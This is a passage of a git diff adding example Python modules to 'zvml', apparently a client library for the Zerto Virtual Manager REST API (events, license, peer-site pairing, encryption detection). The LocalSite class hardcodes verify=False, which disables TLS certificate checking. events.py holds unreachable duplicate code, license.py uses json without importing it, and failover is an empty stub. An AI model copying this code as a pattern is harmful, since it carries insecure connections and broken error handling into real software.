+ AlertTurnedOff = 48 + ChangeVraPassword = 49 + ChangeRecoveryHost = 50 + BackupProtectionGroup = 51 + CleanupProtectionGroupVipDiskbox = 52 + RestoreProtectionGroup = 53 + PreScript = 54 + PostScript = 55 + RemoveVmFromVc = 56 + ChangeVraPasswordIpSettings = 57 + FlrJournalMount = 58 + FlrJournalUnmount = 59 + Login = 60 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoEventCategory(Enum): + All = 0 + Events = 1 + Alerts = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoCommitPolicy(Enum): + Rollback = 0 + Commit = 1 + NONE = 2 # Using NONE instead of None as None is a Python keyword + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoShutdownPolicy(Enum): + NONE = 0 # Using NONE instead of None as None is a Python keyword + Shutdown = 1 + ForceShutdown = 2 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVRAIPConfigType(Enum): + Dhcp = 0 + Static = 1 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVPGSettingsBackupRetentionPeriod(Enum): + OneWeek = 0 + OneMonth = 1 + ThreeMonths = 2 + SixMonths = 3 + NineMonths = 4 + OneYear = 5 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVPGSettingsBackupSchedulerDOW(Enum): + Sunday = 0 + Monday = 1 + Tuesday = 2 + Wednesday = 3 + Thursday = 4 + Friday = 5 + Saturday = 6 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoVPGSettingsBackupSchedulerPeriod(Enum): + Daily = 0 + Weekly = 1 + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None + +class ZertoTweakType(Enum): + ZVM = "zvm-tweak" + VRA = "vra-tweak" + Frontend = "frontend-tweak" + + @classmethod + def get_name_by_value(cls, value): + for member in cls: + if member.value == value: + return member.name + return None diff --git a/zvml/datastores.py b/zvml/datastores.py new file mode 100644 index 0000000..e6ddcd3 --- /dev/null +++ b/zvml/datastores.py @@ -0,0 +1,45 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Datastores: + def __init__(self, client): + self.client = client + + def list_datastores(self, datastore_identifier=None): + if datastore_identifier: + logging.info(f"Datastores.list_datastores: Fetching datastore information for identifier: {datastore_identifier}...") + url = f"https://{self.client.zvm_address}/v1/datastores/{datastore_identifier}" + else: + logging.info("Datastores.list_datastores: Fetching all datastores information...") + url = f"https://{self.client.zvm_address}/v1/datastores" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + if datastore_identifier: + logging.info(f"Datastores.list_datastores: Successfully retrieved datastore information for identifier: {datastore_identifier}.") + else: + logging.info("Datastores.list_datastores: Successfully retrieved all datastores information.") + return response.json() + except requests.exceptions.RequestException as e: + if datastore_identifier: + logging.error(f"Datastores.list_datastores: Failed to get datastore information for identifier {datastore_identifier}: {e}") + else: + logging.error(f"Datastores.list_datastores: Failed to get all datastores information: {e}") + raise \ No newline at end of file diff --git a/zvml/encryptiondetection.py b/zvml/encryptiondetection.py new file mode 100644 index 0000000..1783237 --- /dev/null +++ b/zvml/encryptiondetection.py @@ -0,0 +1,124 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json +from typing import List, Dict + +class EncryptionDetection: + def __init__(self, client): + self.client = client + + def get_encryption_detections(self): + url = f"https://{self.client.zvm_address}/v1/encryptiondetection" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"EncryptionDetection.get_encryption_detections(zvm_address={self.client.zvm_address})") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_encryption_detection(self, detection_identifier): + url = f"https://{self.client.zvm_address}/v1/encryptiondetection/{detection_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"EncryptionDetection.get_encryption_detection(zvm_address={self.client.zvm_address}, detection_identifier={detection_identifier})") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_encryption_detection_types(self): + url = f"https://{self.client.zvm_address}/v1/encryptiondetection/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"EncryptionDetection.get_encryption_detection_types(zvm_address={self.client.zvm_address})") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_suspected_volumes(self) -> List[Dict]: + """List all suspected encrypted volumes. + + Returns: + List[Dict]: List of suspected encrypted volumes with their details + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + logging.info(f"EncryptionDetection.list_suspected_volumes(zvm_address={self.client.zvm_address})") + url = f"https://{self.client.zvm_address}/v1/encryptiondetection/suspected/volumes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + result = response.json() + logging.info(f"Successfully retrieved {len(result)} suspected encrypted volumes") + logging.debug(f"EncryptionDetection.list_suspected_volumes result: {json.dumps(result, indent=4)}") + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/events.py b/zvml/events.py new file mode 100644 index 0000000..6bd2ed4 --- /dev/null +++ b/zvml/events.py @@ -0,0 +1,241 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Events: + def __init__(self, client): + self.client = client + + def list_events(self, event_identifier=None, start_date=None, end_date=None, vpg_identifier=None, + site_name=None, site_identifier=None, zorg_identifier=None, event_type=None, + entity_type=None, category=None, user_name=None, alert_identifier=None): + """ + Fetches a list of events or a specific event from the Zerto API with optional filters. + + :param event_identifier: The identifier of the specific event (if fetching a specific event). + :param start_date: The filter interval start date-time (string in date-time format). + :param end_date: The filter interval end date-time (string in date-time format). + :param vpg_identifier: The identifier of the VPG. + :param site_name: The name of the site. + :param site_identifier: The internal ZVM site identifier. + :param zorg_identifier: The identifier of the ZORG. + :param event_type: The event type. + :param entity_type: The entity type to return. + :param category: The event category to return. + :param user_name: The username for which the event occurred. + :param alert_identifier: The alert identifier. + :return: List of events or a specific event based on provided filters. + """ + logging.info(f'Events.list_events(event_identifier={event_identifier}, start_date={start_date}, end_date={end_date}, ' + f'vpg_identifier={vpg_identifier}, site_name={site_name}, site_identifier={site_identifier}, ' + f'zorg_identifier={zorg_identifier}, event_type={event_type}, entity_type={entity_type}, ' + f'category={category}, user_name={user_name}, alert_identifier={alert_identifier})') + + # Determine endpoint based on whether event_identifier is provided + if event_identifier: + events_uri = f"https://{self.client.zvm_address}/v1/events/{event_identifier}" + else: + events_uri = f"https://{self.client.zvm_address}/v1/events" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Building query parameters + params = {} + if start_date: + params['startDate'] = start_date + if end_date: + params['endDate'] = end_date + if vpg_identifier: + params['vpgIdentifier'] = vpg_identifier + if site_name: + params['siteName'] = site_name + if site_identifier: + params['siteIdentifier'] = site_identifier + if zorg_identifier: + params['zorgIdentifier'] = zorg_identifier + if event_type: + params['eventType'] = event_type + if entity_type: + params['entityType'] = entity_type + if category: + params['category'] = category + if user_name: + params['userName'] = user_name + if alert_identifier: + params['alertIdentifier'] = alert_identifier + + try: + logging.info("Fetching events with specified filters...") + response = requests.get(events_uri, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + events = response.json() + + if not events: + logging.warning("No events found.") + return [] + + return events + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_event_types(self): + """ + Fetches a list of event types from the Zerto API. + + :return: List of event types. + """ + logging.info(f'Events.list_event_types(zvm_address={self.client.zvm_address})') + event_types_uri = f"https://{self.client.zvm_address}/v1/events/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching event types...") + response = requests.get(event_types_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + event_types = response.json() + + if not event_types: + logging.warning("No event types found.") + return [] + + return event_types + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_event_entities(self): + """ + Fetches a list of event entities from the Zerto API. + + :return: List of event entities. + """ + logging.info(f'Events.list_event_entities(zvm_address={self.client.zvm_address})') + event_entities_uri = f"https://{self.client.zvm_address}/v1/events/entities" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching event entities...") + response = requests.get(event_entities_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + event_entities = response.json() + + if not event_entities: + logging.warning("No event entities found.") + return [] + + return event_entities + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_event_categories(self): + """ + Fetches a list of event categories from the Zerto API. + + :return: List of event categories. + """ + logging.info(f'Events.list_event_categories(zvm_address={self.client.zvm_address})') + event_categories_uri = f"https://{self.client.zvm_address}/v1/events/categories" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(event_categories_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + event_categories = response.json() + + if not event_categories: + logging.warning("No event categories found.") + return [] + + return event_categories + + except requests.exceptions.RequestException as e: + logging.error(f"Error fetching event categories: {e}") + return None + + url = f"https://{self.client.zvm_address}/v1/events/types" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/failover.py b/zvml/failover.py new file mode 100644 index 0000000..f816cc9 --- /dev/null +++ b/zvml/failover.py @@ -0,0 +1,21 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Failover: + def __init__(self, client): + self.client = client + + def failover(self, vpg_name, checkpoint_identifier=None, vm_name_list=None, commit_policy=0, time_to_wait_before_shutdown_sec=3600, shutdown_policy=0, is_reverse_protection=False, sync=None): + # Implementation of failover method + pass \ No newline at end of file diff --git a/zvml/license.py b/zvml/license.py new file mode 100644 index 0000000..33d22b7 --- /dev/null +++ b/zvml/license.py @@ -0,0 +1,164 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class License: + def __init__(self, client): + self.client = client + + def get_license(self): + """ + Fetch license information from the Zerto server. + + Returns: + dict: The license information from the Zerto server, or an empty dictionary if no content is returned. + """ + logging.info(f'License.get_license(zvm_address={self.client.zvm_address})') + + url = f"https://{self.client.zvm_address}/v1/license" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Fetching license information...") + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + + # Handle 204 No Content + if response.status_code == 204: + logging.info("No license information available.") + return {} + + # Raise an error for other non-successful HTTP status codes + response.raise_for_status() + + # Parse the response JSON + license_info = response.json() + logging.info("Successfully fetched license information.") + return license_info + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error details: {json.dumps(error_details, indent=2)}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error while fetching license information: {e}") + raise + + def put_license(self, license_key): + """ + Add a new license or update an existing one on the Zerto server. + + Args: + license_key (str): The license key to add or update. + + Returns: + dict: The response from the Zerto server, or an empty dictionary if no content is returned. + """ + logging.info(f'License.put_license(zvm_address={self.client.zvm_address}, license_key={license_key})') + + url = f"https://{self.client.zvm_address}/v1/license" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + payload = { + "licenseKey": license_key + } + + try: + logging.info("Adding or updating license...") + response = requests.put(url, json=payload, headers=headers, verify=self.client.verify_certificate) + + # Handle empty response with 200 status code + if response.status_code == 200 and not response.content: + logging.info("License successfully added or updated with no content returned.") + return {} + + # Raise an error for other non-successful HTTP status codes + response.raise_for_status() + + # Parse the response JSON + response_data = response.json() + logging.info("Successfully added or updated license.") + return response_data + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error details: {json.dumps(error_details, indent=2)}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error while adding or updating license: {e}") + raise + + def delete_license(self): + """ + Delete the current license from the Zerto server. + + Returns: + dict: The response from the Zerto server. + """ + logging.info(f'License.delete_license(zvm_address={self.client.zvm_address})') + + url = f"https://{self.client.zvm_address}/v1/license" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info("Deleting license...") + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + + # Raise an error for non-successful HTTP status codes + response.raise_for_status() + + # Parse the response JSON if available + if response.content: + response_data = response.json() + logging.info("License successfully deleted.") + return response_data + else: + logging.info("License successfully deleted with no content returned.") + return {} + + except requests.exceptions.RequestException as e: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error details: {json.dumps(error_details, indent=2)}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + raise + + except Exception as e: + logging.error(f"Unexpected error while deleting license: {e}") + raise + \ No newline at end of file diff --git a/zvml/localsite.py b/zvml/localsite.py new file mode 100644 index 0000000..a587c06 --- /dev/null +++ b/zvml/localsite.py @@ -0,0 +1,151 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class LocalSite: + def __init__(self, zvm_address, token): + self.zvm_address = zvm_address + self.token = token + self.headers = { + "Authorization": f"Bearer {self.token}", + "Accept": "application/json", + "Content-Type": "application/json" + } + + def get_local_site(self): + logging.info("LocalSite.get_local_site: Fetching local site information...") + url = f"https://{self.zvm_address}/v1/localsite" + try: + response = requests.get(url, headers=self.headers, verify=False) + response.raise_for_status() + logging.info("LocalSite.get_local_site: Successfully retrieved local site information.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_pairing_statuses(self): + logging.info("LocalSite.get_pairing_statuses: Fetching pairing statuses...") + url = f"https://{self.zvm_address}/v1/localsite/pairingstatuses" + try: + response = requests.get(url, headers=self.headers, verify=False) + response.raise_for_status() + logging.info("LocalSite.get_pairing_statuses: Successfully retrieved pairing statuses.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def send_usage(self): + logging.info("LocalSite.send_usage: Sending local site billing usage...") + url = f"https://{self.zvm_address}/v1/localsite/billing/sendUsage" + try: + response = requests.post(url, headers=self.headers, verify=False) + response.raise_for_status() + if response.content.strip(): + logging.info("LocalSite.send_usage: Successfully sent billing usage data.") + return response.json() + else: + logging.info("LocalSite.send_usage: Successfully sent billing usage data. No content returned.") + return None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_login_banner(self): + logging.info("LocalSite.get_login_banner: Fetching login banner settings...") + url = f"https://{self.zvm_address}/v1/localsite/settings/loginBanner" + try: + response = requests.get(url, headers=self.headers, verify=False) + response.raise_for_status() + logging.info("LocalSite.get_login_banner: Successfully retrieved login banner settings.") + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def set_login_banner(self, is_enabled, banner_text): + logging.info("LocalSite.set_login_banner: Setting login banner settings...") + url = f"https://{self.zvm_address}/v1/localsite/settings/loginBanner" + payload = { + "isLoginBannerEnabled": is_enabled, + "loginBanner": banner_text + } + try: + response = requests.put(url, headers=self.headers, json=payload, verify=False) + response.raise_for_status() + logging.info("LocalSite.set_login_banner: Successfully set login banner settings.") + return response + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise diff --git a/zvml/main.py b/zvml/main.py new file mode 100644 index 0000000..682f976 --- /dev/null +++ b/zvml/main.py @@ -0,0 +1,34 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import argparse +import logging +from zvml import ZVMLClient + +def main(): + parser = argparse.ArgumentParser(description="zvml Client") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument("--username", required=True, help="Username") + parser.add_argument("--password", required=True, help="Password") + args = parser.parse_args() + + logging.basicConfig(level=logging.INFO) + + try: + client = ZVMLClient(zvm_address=args.zvm_address, username=args.username, password=args.password) + # Example usage + vpgs = client.vpgs.list_vpgs() + logging.info(f"VPGs: {vpgs}") + except Exception as e: + logging.error(f"Error: {e}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/zvml/peersites.py b/zvml/peersites.py new file mode 100644 index 0000000..0d9d466 --- /dev/null +++ b/zvml/peersites.py @@ -0,0 +1,275 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import time +from .tasks import Tasks + +class PeerSites: + def __init__(self, client): + self.client = client + self.tasks = Tasks(client) + + def get_peer_sites(self): + """ + Get details of all peer sites paired with this site. (Auth) + + Returns: + list: List of peer sites + """ + url = f"https://{self.client.zvm_address}/v1/peersites" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info("PeerSites.get_peer_sites: Fetching all peer sites...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def pair_site(self, hostname, token, port=9071, sync=True): + """ + Pairs this site with another site. (Auth) + + Args: + hostname (str): The IP or DNS name for the peer site + token (str): The pairing token generated from the peer site + port (int, optional): The port used to access the peer site. Defaults to 9071. + sync (bool, optional): Wait for the pairing task to complete. Defaults to True. + + Returns: + dict: Pairing result if sync=False, or final task status if sync=True + """ + url = f"https://{self.client.zvm_address}/v1/peersites" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + pairing_data = { + "hostName": hostname, + "port": port, + "token": token + } + + logging.info(f"PeerSites.pair_site: Pairing with site {hostname} at port {port}...") + try: + response = requests.post(url, headers=headers, json=pairing_data, verify=self.client.verify_certificate) + response.raise_for_status() + + if not sync: + return response.json() if response.content else None + + # Get the task identifier from the response + task_id = response.json() + logging.info(f"PeerSites.pair_site pairing submitted, task_id={task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return task_id + return task_id + + except requests.exceptions.RequestException as e: + logging.error(f"Error pairing site: {str(e)}") + if hasattr(e, 'response') and e.response is not None: + logging.error(f"Response content: {e.response.text}") + raise + + def delete_peer_site(self, site_identifier, sync=True): + """ + Unpairs this site with another site. (Auth) + + Args: + site_identifier (str): The identifier of the peer site to delete + sync (bool, optional): Wait for the pairing task to complete. Defaults to True. + """ + url = f"https://{self.client.zvm_address}/v1/peersites/{site_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"PeerSites.delete_peer_site: Deleting peer site {site_identifier}...") + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + + if not sync: + return response.json() if response.content else None + + # Get the task identifier from the response + task_id = response.json() + logging.info(f"PeerSites.delete_peer_site unpairing submitted, task_id={task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return task_id + return task_id + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def get_pairing_statuses(self): + """ + Get the list of possible statuses for peer sites pairing. (Auth) + + Returns: + list: List of possible pairing statuses + """ + url = f"https://{self.client.zvm_address}/v1/peersites/pairingstatuses" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info("PeerSites.get_pairing_statuses: Fetching pairing statuses...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def generate_token(self): + """ + Generate a token to pair with this site. (Auth) + + Returns: + str: Generated pairing token + """ + url = f"https://{self.client.zvm_address}/v1/peersites/generatetoken" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info("PeerSites.generate_token: Generating pairing token...") + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + 